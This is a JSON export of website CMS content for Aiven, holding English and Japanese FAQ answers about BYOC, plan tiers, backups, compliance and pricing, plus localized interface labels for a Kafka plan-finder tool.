{"__i18n_lang":"en","_createdAt":"2023-01-13T15:51:59Z","_id":"53d60c8d-d7b6-4ed4-8722-4b4d4ae1a204","_rev":"PafZ7If3abxFAfZNOjOfKr","_type":"faq","_updatedAt":"2023-05-31T10:28:02Z","id":"kafka-byoc","panelText":[{"_key":"1170c96d9fa9","_type":"block","children":[{"_key":"9e099df914ac0","_type":"span","marks":[],"text":"Yes, we offer a "},{"_key":"b7371d063a7b","_type":"span","marks":["6f2b877e2629"],"text":"Bring Your Own Cloud (BYOC)"},{"_key":"7f7ab17e212c","_type":"span","marks":[],"text":" model for larger setups. Please "},{"_key":"63da412214e3","_type":"span","marks":["afbd90e697d2"],"text":"contact sales"},{"_key":"2523ad960e3d","_type":"span","marks":[],"text":" for more information, or check out our "},{"_key":"715bbe5befac","_type":"span","marks":["baea375dcef2"],"text":"BYOC documentation"},{"_key":"03bac6ed0236","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6f2b877e2629","_type":"internalLink","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_strengthenOnPublish":{"type":"post"},"_type":"reference","_weak":true}},{"_key":"afbd90e697d2","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}},{"_key":"baea375dcef2","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Can I run Aiven for Apache Kafka® within my own cloud account?"}
{"__i18n_lang":"ja","_createdAt":"2023-01-13T15:51:59Z","_id":"53d60c8d-d7b6-4ed4-8722-4b4d4ae1a204__i18n_ja","_rev":"3j6PNipGH9NrGWcobon5f9","_type":"faq","_updatedAt":"2023-05-31T10:28:01Z","id":"kafka-byoc","panelText":[{"_key":"1170c96d9fa9","_type":"block","children":[{"_key":"c794bac70e46","_type":"span","marks":[],"text":"はい、大規模なセットアップには、"},{"_key":"b7371d063a7b","_type":"span","marks":["6f2b877e2629"],"text":"BYOC（Bring Your Own Cloud）"},{"_key":"5967e45c81f1","_type":"span","marks":[],"text":"モデルをご用意しています。詳しくは、"},{"_key":"63da412214e3","_type":"span","marks":["afbd90e697d2"],"text":"お問合せ"},{"_key":"2523ad960e3d","_type":"span","marks":[],"text":"いただくか、"},{"_key":"715bbe5befac","_type":"span","marks":["baea375dcef2"],"text":"BYOCに関するドキュメント"},{"_key":"03bac6ed0236","_type":"span","marks":[],"text":"（英語）をご覧ください。"}],"markDefs":[{"_key":"6f2b877e2629","_type":"internalLink","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_strengthenOnPublish":{"type":"post"},"_type":"reference","_weak":true}},{"_key":"afbd90e697d2","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}},{"_key":"baea375dcef2","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Aiven for Apache Kafka®を自社のクラウドアカウント内で運用することは可能ですか?"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T15:49:36Z","_id":"7d42d7bd-4109-42b7-b1de-b09cad1e1c55","_rev":"70bM5v708uTTBntrbBPUBb","_type":"faq","_updatedAt":"2022-11-02T11:10:10Z","id":"plans","panelText":[{"_key":"92311083b2b5","_type":"block","children":[{"_key":"b67abad5c6c9","_type":"span","marks":[],"text":"We offer most technical features in all tiers, however some features may be missing from the lowest tiers due to lower VM resources, for example high Availability (2 nodes) is available only for Business and Premium plans. The main difference between the tiers is the amount of dedicated VMs per cluster. The more VMs there are, the more resistant the service is for any anomalies. Our Hobbyist/Startup tiers is typically recommended for test environments, Business for production environments and Premium for enterprise-level production environments."}],"markDefs":[],"style":"normal"}],"title":"What are the differences between the plans?"}
{"__i18n_lang":"ja","_createdAt":"2022-10-26T15:49:36Z","_id":"7d42d7bd-4109-42b7-b1de-b09cad1e1c55__i18n_ja","_rev":"E0WcOAmhawew35VucHCI24","_type":"faq","_updatedAt":"2023-01-13T15:38:47Z","id":"plans","panelText":[{"_key":"8b13c21e37b1","_type":"block","children":[{"_key":"69752dea5c320","_type":"span","marks":[],"text":"すべてのプランでほとんどの技術的機能を提供していますが、VMのリソースが低いために下位プランでは一部の機能が利用できない場合があります。たとえば、高可用性 (2ノード) は、BusinessプランとPremiumプランでのみ利用可能です。プラン間の主な違いは、クラスタあたりの専用VMの数です。VMの数が多ければ多いほど、サービスの異常に対する耐性は高くなります。テスト環境にはStartupプラン、ステージング環境にはBusinessプラン、本番環境にはPremiumプランが推奨されます。"}],"markDefs":[],"style":"normal"}],"title":"プランの違いは?"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T15:48:09Z","_id":"8a523089-6963-4c88-a767-1a29d588861c","_rev":"m1sJAYlAKlzrK0MX0NQcf0","_type":"faq","_updatedAt":"2022-10-26T15:53:06Z","id":"pitr","panelText":[{"_key":"cd09f9bf6338","_type":"block","children":[{"_key":"9bcea6715af9","_type":"span","marks":[],"text":"The retention period for PITR depends on the plan type. It is 2 days for Startup, 14 for Business, and 30 for Premium. This backup history also acts as the usable range for the point in time recovery feature."}],"markDefs":[],"style":"normal"},{"_key":"b30e71273d6e","_type":"block","children":[{"_key":"272b4a914f6e","_type":"span","marks":[],"text":"You can find "},{"_key":"a235e74fe6f6","_type":"span","marks":["14d786ecdb02"],"text":"more information in our documentation"},{"_key":"5dbfd46e8f15","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"14d786ecdb02","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/service_backups"}],"style":"normal"}],"title":"What is the retention period for PITR?"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T15:43:02Z","_id":"bde787fb-271e-47a6-94e2-3698776780c6","_rev":"kSUNVFNkqb3vlCpGFGvck3","_type":"faq","_updatedAt":"2022-10-26T15:43:02Z","id":"security-compliant","panelText":[{"_key":"0f25c2f0b9b3","_type":"block","children":[{"_key":"1c5d0357c744","_type":"span","marks":[],"text":"ISO/IEC 27001:2013"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"837c9bfcb541","_type":"block","children":[{"_key":"3b6413874836","_type":"span","marks":[],"text":"SOC 2"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8aadc4b85d0a","_type":"block","children":[{"_key":"5744624ba3e5","_type":"span","marks":[],"text":"GDPR"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f91ea057fa21","_type":"block","children":[{"_key":"8e6b7a2ba5bb","_type":"span","marks":[],"text":"HIPAA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"601e4bffbc62","_type":"block","children":[{"_key":"75f644bda267","_type":"span","marks":[],"text":"PCI-DSS"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"900bbc812037","_type":"block","children":[{"_key":"a6d0adcc7f49","_type":"span","marks":["f921c8c56f30"],"text":"Read more about Aiven's security and compliance"},{"_key":"c4c973e238ab","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f921c8c56f30","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"What security standards is Aiven compliant with?"}
{"__i18n_lang":"en","_createdAt":"2022-10-26T15:55:32Z","_id":"b4b43698-68fc-40a0-8edd-755088302126","_rev":"9EhxcQHTplKyRiLd2bkbXv","_type":"faq","_updatedAt":"2022-10-26T15:55:32Z","id":"discount","panelText":[{"_key":"0bf2c0f13915","_type":"block","children":[{"_key":"0259a3de4edc","_type":"span","marks":[],"text":"Discounts are available for organizations willing to make annual minimum-spend commitments. For more information, "},{"_key":"5789b3eeb6f0","_type":"span","marks":["148bdb9dd97a"],"text":"contact sales"},{"_key":"008a275cf58e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"148bdb9dd97a","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"}],"title":"Does Aiven offer any discounts?"}
{"__i18n_lang":"ja","_createdAt":"2022-10-26T15:55:32Z","_id":"b4b43698-68fc-40a0-8edd-755088302126__i18n_ja","_rev":"NCHsgHLcvkCT8vGIjDIgcY","_type":"faq","_updatedAt":"2022-12-27T14:47:35Z","id":"discount","panelText":[{"_key":"0bf2c0f13915","_type":"block","children":[{"_key":"da1877b5006a","_type":"span","marks":[],"text":"年間最低利用額をコミットしていただける会社、組織には割引をご用意しています。詳しくは、営業までお問い合わせください。"}],"markDefs":[],"style":"normal"}],"title":"Aivenには割引サービスがありますか?"}
{"__i18n_lang":"en","_createdAt":"2023-04-11T14:22:37Z","_id":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_rev":"FWfcFyz4v76XPZNTIIBm4Z","_type":"faq","_updatedAt":"2024-06-27T13:16:09Z","id":"free-plan-vs-free-trial","panelText":[{"_key":"3827bc5a8728","_type":"block","children":[{"_key":"a40ae30a306a","_type":"span","marks":[],"text":"The free plans are limited in size but can be run indefinitely free of charge. The full platform free trial gives you $300 of credit for 30 days that you can use on any service types and plan sizes. You can run free services alongside your trial, they will not impact your trial credits and will continue to run after the trial has expired."}],"markDefs":[{"_key":"09f2fe6e2b0a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"d2f2bee21cd4","_type":"block","children":[{"_key":"84e16529bf3b","_type":"span","marks":[],"text":"For more details on the free plans, check out our "},{"_key":"90d5493b2efd","_type":"span","marks":["09f2fe6e2b0a"],"text":"documentation."},{"_key":"48f70c61b34c","_type":"span","marks":[],"text":"\n"}],"markDefs":[{"_key":"09f2fe6e2b0a","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"}],"title":"What is the difference between the Aiven free plans and the Aiven free trial?"}
{"__i18n_lang":"ja","_createdAt":"2023-04-11T14:22:37Z","_id":"e514e6cc-1088-4768-8a49-ea0e01ea7123__i18n_ja","_rev":"gO4PimG2K28q9ZOw6VeR3B","_type":"faq","_updatedAt":"2023-04-12T23:20:20Z","id":"free-plan-vs-free-trial","panelText":[{"_key":"34b8187542fb","_type":"block","children":[{"_key":"89820e27c4ca","_type":"span","marks":[],"text":"無料プランはサイズに制限がありますが、無期限で無料運用が可能です。フルプラットフォームを対象とした無料トライアルでは、30日間300ドルのクレジットが付与され、どのようなサービスタイプやプランサイズでも利用することができます。無料プランは、無料トライアルと並行して利用でき、トライアルクレジットに影響を与えず、トライアル終了後も継続してご利用いただけます。"}],"markDefs":[],"style":"normal"},{"_key":"883741ad3545","_type":"block","children":[{"_key":"8644dfc3373c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"11f21eb3fe95","_type":"block","children":[{"_key":"c4f13a6cc8a60","_type":"span","marks":[],"text":"無料プランの詳細については、当社の"},{"_key":"e452a264a8e6","_type":"span","marks":["081ee9272599"],"text":"ドキュメント"},{"_key":"d1f1ab351e52","_type":"span","marks":[],"text":"（英語）をご覧ください。"}],"markDefs":[{"_key":"081ee9272599","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"}],"title":"Aivenの無料プランとAivenの無料トライアルの違いは何ですか?"}
{"__i18n_lang":"ja","_createdAt":"2022-10-26T15:40:21Z","_id":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_rev":"NCHsgHLcvkCT8vGIjEwpvK","_type":"faq","_updatedAt":"2022-12-28T08:25:42Z","id":"support","panelText":[{"_key":"85f22a2f5b77","_type":"block","children":[{"_key":"aec766cf6a24","_type":"span","marks":[],"text":"24時間365日、すべてのサービスのプロアクティブ監視を提供します。すべてのサービスにおいて異常が発生すると、当社の担当者に自動的にアラートが送信され、即座に解決します。さらに、アカウントには電子メールとチャットによるサポートも含まれています。追加料金をお支払いただくことで、別途3つのレベルの追加サポートをご利用いただけます。サポート対応時間やプランについては、"},{"_key":"b428e9edfe16","_type":"span","marks":["9d93117692d5"],"text":"こちら"},{"_key":"d865420e688a","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"9d93117692d5","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"カスタマーサポートの内容は?"}
{"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"}],"_createdAt":"2022-10-26T15:39:58Z","_id":"3ba8da80-d664-4401-91f9-29456eb6afb3","_rev":"FWfcFyz4v76XPZNTIIBdiX","_type":"faq","_updatedAt":"2024-06-27T13:15:19Z","id":"byoc","panelText":[{"_key":"ecf5c150d1e8","_type":"block","children":[{"_key":"bbd163854d3b","_type":"span","marks":[],"text":"Yes, we offer a "},{"_key":"bc4be31ce4ac","_type":"span","marks":["1b31febdb7ee"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"aa47c0635d07","_type":"span","marks":[],"text":" deployment model for strict control requirements or to take advantage of your cloud provider discounts. Please "},{"_key":"361d1bfb61ce","_type":"span","marks":["9eb036791a83"],"text":"contact sales"},{"_key":"1496fea4658a","_type":"span","marks":[],"text":" for more information, or check out our "},{"_key":"6e6533cc0ca1","_type":"span","marks":["298b909fb035"],"text":"BYOC documentation"},{"_key":"cbfb9ac4632c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1b31febdb7ee","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"},{"_key":"298b909fb035","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"},{"_key":"9eb036791a83","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"}],"title":"Can I run Aiven services within my own cloud account?"}
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{"_createdAt":"2022-11-09T11:36:34Z","_id":"187ae2fc-417e-4635-b625-069b338371a9","_rev":"3re4XGUaXqpLG8nUTrBNTM","_type":"field","_updatedAt":"2022-12-19T13:47:00Z","name":"plugins","value":{"_type":"localeString","en":"Plugins","ja":"プラグイン"}}
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{"_createdAt":"2022-11-09T08:52:58Z","_id":"69c4d3b0-185b-41d3-bede-e9dc2fe4c42e","_rev":"ElrRHx5al3kb1PwLXRbty8","_type":"field","_updatedAt":"2022-12-03T18:46:15Z","name":"metrics","value":{"_type":"localeString","en":"Metrics","ja":"指標"}}
{"_createdAt":"2022-11-09T11:32:38Z","_id":"03df3c11-af06-4065-8e94-4e113b8cf3c1","_rev":"0rD6Phxg3duzic15oFaAlv","_type":"field","_updatedAt":"2022-12-03T19:28:22Z","name":"clickhouseLine2","value":{"_type":"localeString","en":"streaming data","ja":"データウェアハウス"}}
{"_createdAt":"2022-11-09T11:31:47Z","_id":"b72acdfc-3d73-4f73-850b-345040993e31","_rev":"fuFsKkOoAJwNVpPrIJs85a","_type":"field","_updatedAt":"2022-12-07T12:50:04Z","name":"flinkLine1","value":{"_type":"localeString","en":"Streaming SQL engine for stateful","ja":"のためのストリーミングSQLエンジン"}}
{"_createdAt":"2023-03-17T13:46:23Z","_id":"182acdf8-07cf-4def-9b47-d46917e589df","_rev":"RksXZeZKLvjmDTh00zUULW","_type":"field","_updatedAt":"2023-03-17T13:46:23Z","name":"totalStorage","value":{"_type":"localeString","en":"Total storage","ja":"ストレージの合計"}}
{"_createdAt":"2023-03-17T13:46:45Z","_id":"f5d94af4-3773-4697-a9ff-b774021521a5","_rev":"RksXZeZKLvjmDTh00zVxgV","_type":"field","_updatedAt":"2023-03-17T13:46:45Z","name":"hourlyPrice","value":{"_type":"localeString","en":"Hourly price","ja":"時間単価"}}
{"_createdAt":"2023-03-17T13:21:04Z","_id":"5231f97e-d589-40c7-898f-5cc6d77e6daf","_rev":"RksXZeZKLvjmDTh00zIsc4","_type":"field","_updatedAt":"2023-03-17T13:21:04Z","name":"contactLinkText","value":{"_type":"localeString","en":"Contact us","ja":"お問合せ"}}
{"_createdAt":"2023-03-17T13:21:44Z","_id":"908db368-6d72-43ab-b7c4-2b3ded081634","_rev":"RksXZeZKLvjmDTh00zJ3ri","_type":"field","_updatedAt":"2023-03-17T13:21:44Z","name":"cloud","value":{"_type":"localeString","en":"Cloud","ja":"クラウド"}}
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{"_createdAt":"2023-03-17T13:45:59Z","_id":"b6d30fdc-49a4-42d9-a5c0-93058b6ce5b3","_rev":"RksXZeZKLvjmDTh00zSqaZ","_type":"field","_updatedAt":"2023-03-17T13:45:59Z","name":"shards","value":{"_type":"localeString","en":"Shards","ja":"シャード"}}
{"_createdAt":"2023-03-17T13:44:55Z","_id":"f4dced79-2e8c-4472-b8b8-a259a5a1401c","_rev":"RksXZeZKLvjmDTh00zOmwI","_type":"field","_updatedAt":"2023-03-17T13:44:55Z","name":"dedicatedVMs","value":{"_type":"localeString","en":"Dedicated VMs","ja":"専用仮想マシン"}}
{"_createdAt":"2023-03-17T13:45:17Z","_id":"f5b11ed5-0b16-4584-85a5-e4b0e16a6a07","_rev":"RksXZeZKLvjmDTh00zPoDT","_type":"field","_updatedAt":"2023-03-17T13:45:17Z","name":"cpuPerVM","value":{"_type":"localeString","en":"CPU per VM","ja":"仮想マシンあたりのCPU"}}
{"_createdAt":"2023-03-17T13:45:38Z","_id":"c8bb1f91-7cd4-4ee9-af39-9e7ea4bba615","_rev":"RksXZeZKLvjmDTh00zRF3Q","_type":"field","_updatedAt":"2023-03-17T13:45:38Z","name":"ramPerVM","value":{"_type":"localeString","en":"RAM per VM","ja":"仮想マシンあたりのRAM"}}
{"_createdAt":"2022-12-02T15:26:17Z","_id":"3f6cfa56-591f-4a0f-ad72-1763f361493b","_rev":"cwf6PSmkIH3MXtFHzAYEmS","_type":"field","_updatedAt":"2022-12-10T22:19:42Z","name":"kafkaConnectLine2","value":{"_type":"localeString","en":"sink connectors","fr":"d'évier existants","ja":"シンクコネクタ"}}
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{"_createdAt":"2023-03-17T13:19:59Z","_id":"7b794962-5db2-4511-8c7e-72d45f384ab4","_rev":"dbnYPrvSKGV9AwPMwKiTMk","_type":"field","_updatedAt":"2023-03-24T08:56:20Z","name":"kpfLinkText","value":{"_type":"localeString","en":"Kafka plan finder tool","ja":"Kafkaプラン検索ツール"}}
{"_createdAt":"2023-03-17T13:47:04Z","_id":"807d27f0-b41b-4022-bb00-80d6eef4ceec","_rev":"xiZWRCvY8mGrbEYNJjVoRd","_type":"field","_updatedAt":"2023-03-24T09:04:41Z","name":"estMonthlyPrice","value":{"_type":"localeString","en":"Est. monthly price","ja":"推定月額料金"}}
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{"_createdAt":"2023-04-05T14:18:50Z","_id":"3e2d308a-5c86-4c0a-815f-8e2cf60b5b4b","_rev":"hBC7D1PZ9KvZlgAOkWZ3m0","_type":"field","_updatedAt":"2023-04-05T14:18:50Z","name":"tool","value":{"_type":"localeString","en":"Tool"}}
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{"_createdAt":"2023-05-22T13:44:09Z","_id":"e485c928-7a1e-4691-a599-c16037e07d84","_rev":"4JMA3H9bBgAwAcyypV9GbP","_type":"field","_updatedAt":"2023-05-22T13:44:09Z","name":"errorAverageMessageSizeKb","value":{"_type":"localeString","en":"Value has to be an integer greater than or equal to 1","ja":"値は1以上の整数である必要があります。"}}
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{"_createdAt":"2023-05-22T13:46:49Z","_id":"cc006a9a-3b7e-499b-9817-4fc1cf8d1c3a","_rev":"4JMA3H9bBgAwAcyypVAleR","_type":"field","_updatedAt":"2023-05-22T13:46:49Z","name":"errorReplicationFactor","value":{"_type":"localeString","en":"Value has to be an integer between 1 and 10","ja":"値は1～10までの整数である必要があります。"}}
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{"_createdAt":"2023-05-25T14:15:55Z","_id":"13feb3e1-5bd5-4283-a892-a0f10d239617","_rev":"PafZ7If3abxFAfZNOXvqQH","_type":"field","_updatedAt":"2023-05-29T07:14:13Z","name":"compliance","value":{"_type":"localeString","en":"Compliance","ja":"コンプライアンス"}}
{"_createdAt":"2023-05-22T09:28:55Z","_id":"22a37708-cc37-447f-a8fb-3082e2a5351c","_rev":"IpnbDuG6FYGmZQ2TBMtdSt","_type":"field","_updatedAt":"2023-05-22T09:28:55Z","name":"plan","value":{"_type":"localeString","en":"Plan","ja":"プラン"}}
{"_createdAt":"2023-05-22T09:18:14Z","_id":"feaceff9-269b-45c1-8ae0-c580bf76c829","_rev":"Sutmd0597BicUlBXYJjQqQ","_type":"field","_updatedAt":"2023-05-22T09:18:14Z","name":"retention","value":{"_type":"localeString","en":"Retention","ja":"リテンション"}}
{"_createdAt":"2023-05-22T09:18:48Z","_id":"fef99f64-2640-4ba2-8d2b-ae44a3accfda","_rev":"4JMA3H9bBgAwAcyypU0Hfj","_type":"field","_updatedAt":"2023-05-22T09:18:48Z","name":"unitOfTime","value":{"_type":"localeString","en":"Unit of time","ja":"時間の単位"}}
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{"_createdAt":"2023-05-22T08:31:07Z","_id":"ce1f2fe3-aeb7-487e-be27-586b87c5a0e6","_rev":"4JMA3H9bBgAwAcyypTpWgx","_type":"field","_updatedAt":"2023-05-22T08:31:07Z","name":"kpfHeroSubtitle","value":{"_type":"localeString","en":"Enter your data requirements, and we'll find the Aiven for Apache Kafka® plan that best meets your needs.","ja":"お客様のデータ要件を入力すると、お客様のニーズに最適なAiven for Apache Kafka®のプランをご案内します。"}}
{"_createdAt":"2023-05-22T08:33:08Z","_id":"722ceaac-3071-4c64-b833-52a21048a667","_rev":"IpnbDuG6FYGmZQ2TBMidfv","_type":"field","_updatedAt":"2023-05-22T08:33:08Z","name":"planComparison","value":{"_type":"localeString","en":"Plan comparison","ja":"プランの比較"}}
{"_createdAt":"2023-05-22T08:34:06Z","_id":"cad09e6e-f8a4-41b8-abd2-66aa7b03e3c8","_rev":"IpnbDuG6FYGmZQ2TBMil2h","_type":"field","_updatedAt":"2023-05-22T08:34:06Z","name":"kpfCalcTitle","value":{"_type":"localeString","en":"Your data needs","ja":"お客様のデータのニーズ"}}
{"_createdAt":"2023-05-22T08:35:00Z","_id":"b5d16611-2c45-467a-ae2d-d30ec430d603","_rev":"Sutmd0597BicUlBXYJYtsg","_type":"field","_updatedAt":"2023-05-22T08:35:00Z","name":"messagesPerSecond","value":{"_type":"localeString","en":"Messages/Sec","ja":"メッセージ数/秒"}}
{"_createdAt":"2023-05-22T09:19:52Z","_id":"2ccb65ab-5aa9-4553-a395-10673724a495","_rev":"4JMA3H9bBgAwAcyypU0fh9","_type":"field","_updatedAt":"2023-05-22T09:19:52Z","name":"replicationFactor","value":{"_type":"localeString","en":"Replication factor","ja":"レプリケーションファクタ"}}
{"_createdAt":"2023-05-22T09:21:10Z","_id":"54049a68-c38f-4b54-a8d9-477bbdd94754","_rev":"sAN5HewJ5zbBBAB9OjyG7d","_type":"field","_updatedAt":"2023-05-23T11:14:08Z","name":"kpfResultTitle","value":{"_type":"localeString","en":"Based on your input, we suggest the following plans","ja":"お客様の情報に基づいて、次のプランをご提案します"}}
{"_createdAt":"2023-05-22T09:03:40Z","_id":"b283ed81-9c30-4cb6-af06-8a6a3c6d871c","_rev":"Sutmd0597BicUlBXYJggMa","_type":"field","_updatedAt":"2023-05-22T09:03:40Z","name":"averageMessageSize","value":{"_type":"localeString","en":"Average message size (KB)","ja":"平均メッセージサイズ (KB)"}}
{"_createdAt":"2023-05-22T09:16:32Z","_id":"b8db5e49-2ff0-4019-abde-2f33b4d96637","_rev":"4JMA3H9bBgAwAcyypTzrsd","_type":"field","_updatedAt":"2023-05-22T09:16:32Z","name":"kpfCalcTitleStep2","value":{"_type":"localeString","en":"Retention \u0026 Replication","ja":"リテンションとレプリケーション"}}
{"_createdAt":"2023-05-22T09:30:18Z","_id":"dcd5781f-3973-4cce-9740-de146623a61b","_rev":"4JMA3H9bBgAwAcyypU2oa7","_type":"field","_updatedAt":"2023-05-22T09:30:18Z","name":"extraStorage","value":{"_type":"localeString","en":"Extra storage","ja":"追加ストレージ"}}
{"_createdAt":"2023-05-22T09:31:05Z","_id":"faf0a8de-4f0c-4c72-885a-ecc87c3c018c","_rev":"IpnbDuG6FYGmZQ2TBMu8Ox","_type":"field","_updatedAt":"2023-05-22T09:31:05Z","name":"custom","value":{"_type":"localeString","en":"Custom","ja":"カスタム"}}
{"_createdAt":"2023-06-05T11:54:20Z","_id":"fdd4064b-bc0b-4a2d-a794-5059fbbea13d","_rev":"hmQk1VtzwG7nr0256MLxW8","_type":"field","_updatedAt":"2023-06-05T11:54:20Z","name":"learnMore","value":{"_type":"localeString","en":"Learn more"}}
{"_createdAt":"2023-06-05T12:00:43Z","_id":"1c750956-6e18-475a-8ab6-8e6f828864ef","_rev":"hmQk1VtzwG7nr0256MQjHv","_type":"field","_updatedAt":"2023-06-05T12:00:43Z","name":"type","value":{"_type":"localeString","en":"Type"}}
{"_createdAt":"2023-06-01T10:45:33Z","_id":"06035b82-965c-4bf7-9bdb-324201e9bd25","_rev":"wZSzbSM833LJeYC8qT41hb","_type":"field","_updatedAt":"2023-06-05T12:35:35Z","name":"resources","value":{"_type":"localeString","en":"Resources"}}
{"_createdAt":"2023-06-05T12:08:05Z","_id":"ad9c8d8e-df5b-4193-ac99-7593b069d332","_rev":"M617xJhRgo1DdvUCiYwi5u","_type":"field","_updatedAt":"2023-06-05T12:08:05Z","name":"ctaReadBlog","value":{"_type":"localeString","en":"Read the blog post"}}
{"_createdAt":"2023-05-12T09:16:54Z","_id":"f2ff4a30-4901-48cf-b5a3-9a62f9fe0e5e","_rev":"4JMA3H9bBgAwAcyypUsFrL","_type":"field","_updatedAt":"2023-05-22T12:33:54Z","name":"ctaRelevantPlans","value":{"_type":"localeString","en":"See only relevant plans","ja":"関連するプランのみを表示"}}
{"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:32Z","_id":"da7eff78-6128-4c01-945d-2199dfd9af35","_rev":"nhj4h0WlhYHZ2WujrlP74A","_type":"field","_updatedAt":"2023-04-19T07:44:06Z","name":"errorFourOhFourSubtitle","value":{"_type":"localeString","de":"Wir konnten die von Ihnen gesuchte Seite nicht finden.","en":"Perhaps the [home page](/) can help? Or you can explore our [developer center](/developer) or [blog](/blog).","es":"No hemos podido encontrar la página que busca.","fr":"Nous n'avons pas réussi à trouver la page que vous recherchez.","ja":"もしかしたら、[ホームページ](/ja)がお役に立てるかもしれません。また、[価格体系](/ja/pricing)。","ko":"찾고 있는 페이지를 찾지 못한 것 같습니다.","pt":"Parece que não conseguimos encontrar a página que procura."}}
{"__i18n_lang":"en","_createdAt":"2022-06-21T22:43:18Z","_id":"3e5917fe-0176-4396-a3e8-d374c0a3a1a5","_rev":"TwTp4wRlf70ArGbY1vcPda","_type":"field","_updatedAt":"2023-04-19T07:44:16Z","name":"errorFourOhFourTitle","value":{"_type":"localeString","de":"Huch!","en":"Page not found","es":"¡Uy!","fr":"Oups !","ja":"ページが見つかりません","ko":"앗!","pt":"Oops!"}}
{"_createdAt":"2023-06-08T12:31:25Z","_id":"5f350b21-734b-4329-8fde-8accb85dd694","_rev":"rV9BZDYEBgQp95tIyc24KB","_type":"field","_updatedAt":"2023-06-08T12:31:25Z","name":"tableOfContents","value":{"_type":"localeString","en":"Table of contents"}}
{"_createdAt":"2023-06-08T12:45:39Z","_id":"bd33c233-10a0-4a07-86f6-128d06ceb963","_rev":"OSa4Of7leLeKOMRysreGsy","_type":"field","_updatedAt":"2023-06-08T12:45:39Z","name":"blog","value":{"_type":"localeString","en":"Blog"}}
{"_createdAt":"2023-04-06T14:51:41Z","_id":"7f37d851-c3ed-48af-90f9-18ba397f18f9","_rev":"2DKMiOi4Ekqsoc9oUQRG19","_type":"field","_updatedAt":"2023-07-13T09:27:11Z","name":"byoaTitle","value":{"_type":"localeString","en":"Bring Your Own Cloud (BYOC) available for larger setups","ja":"大規模なセットアップには、BYOC（Bring Your Own Cloud）を利用可能"}}
{"_createdAt":"2022-10-05T08:54:08Z","_id":"5e67405d-c1fa-4510-8199-db3f4c2117d0","_rev":"hmQk1VtzwG7nr025669qdZ","_type":"field","_updatedAt":"2023-06-02T08:24:02Z","name":"cloudProviders","value":{"_type":"localeString","en":"Deploy","ja":"デプロイ先"}}
{"_createdAt":"2023-06-01T10:45:19Z","_id":"56b202dd-e0d9-4fef-9e99-2d134e9ceeea","_rev":"Bg5HPBiLdZofLBzDF0jzzI","_type":"field","_updatedAt":"2023-06-01T11:11:25Z","name":"csHeroTitle","value":{"_type":"localeString","en":"Explore Aiven's customer stories, insightful videos, and beyond"}}
{"_createdAt":"2023-05-22T08:39:18Z","_id":"13bc670b-5098-47cc-be8e-5f457b9602b2","_rev":"4JMA3H9bBgAwAcyypUUKUR","_type":"field","_updatedAt":"2023-05-22T11:03:42Z","name":"kpfMessagesPerSecondDesc","value":{"_type":"localeString","en":"This is an estimate of the number of messages you are producing\nto your Kafka cluster every second. If you are not yet using Kafka,\nthis can be estimated by using your system monitoring tools to determine\nthe number of events occurring every second. For example, you may be\nreceiving 300 API calls per second as well as 10 batch jobs that run\nevery 10 minutes; this gives you an idea of the messages produced\nevery second when you take Kafka into use.","ja":"これは、お客様が毎秒Kafkaクラスタに生成している\nメッセージの数の推定値です。Kafkaをまだ使用していない場合は、\nシステム監視ツールを使用して、\n毎秒発生するイベントの数から推定できます。例えば、1秒間に\n300回のAPIコールと、10分間に10回のバッチジョブを\n受信しているとしたら、それがKafkaを使用した場合に\n毎秒生成されるメッセージの概算となります。"}}
{"_createdAt":"2023-05-25T14:16:17Z","_id":"4a73d65a-149c-4391-9252-fd548771e12d","_rev":"PafZ7If3abxFAfZNOXvh1t","_type":"field","_updatedAt":"2023-05-29T07:13:21Z","name":"identity","value":{"_type":"localeString","en":"Identity management","ja":"ID管理"}}
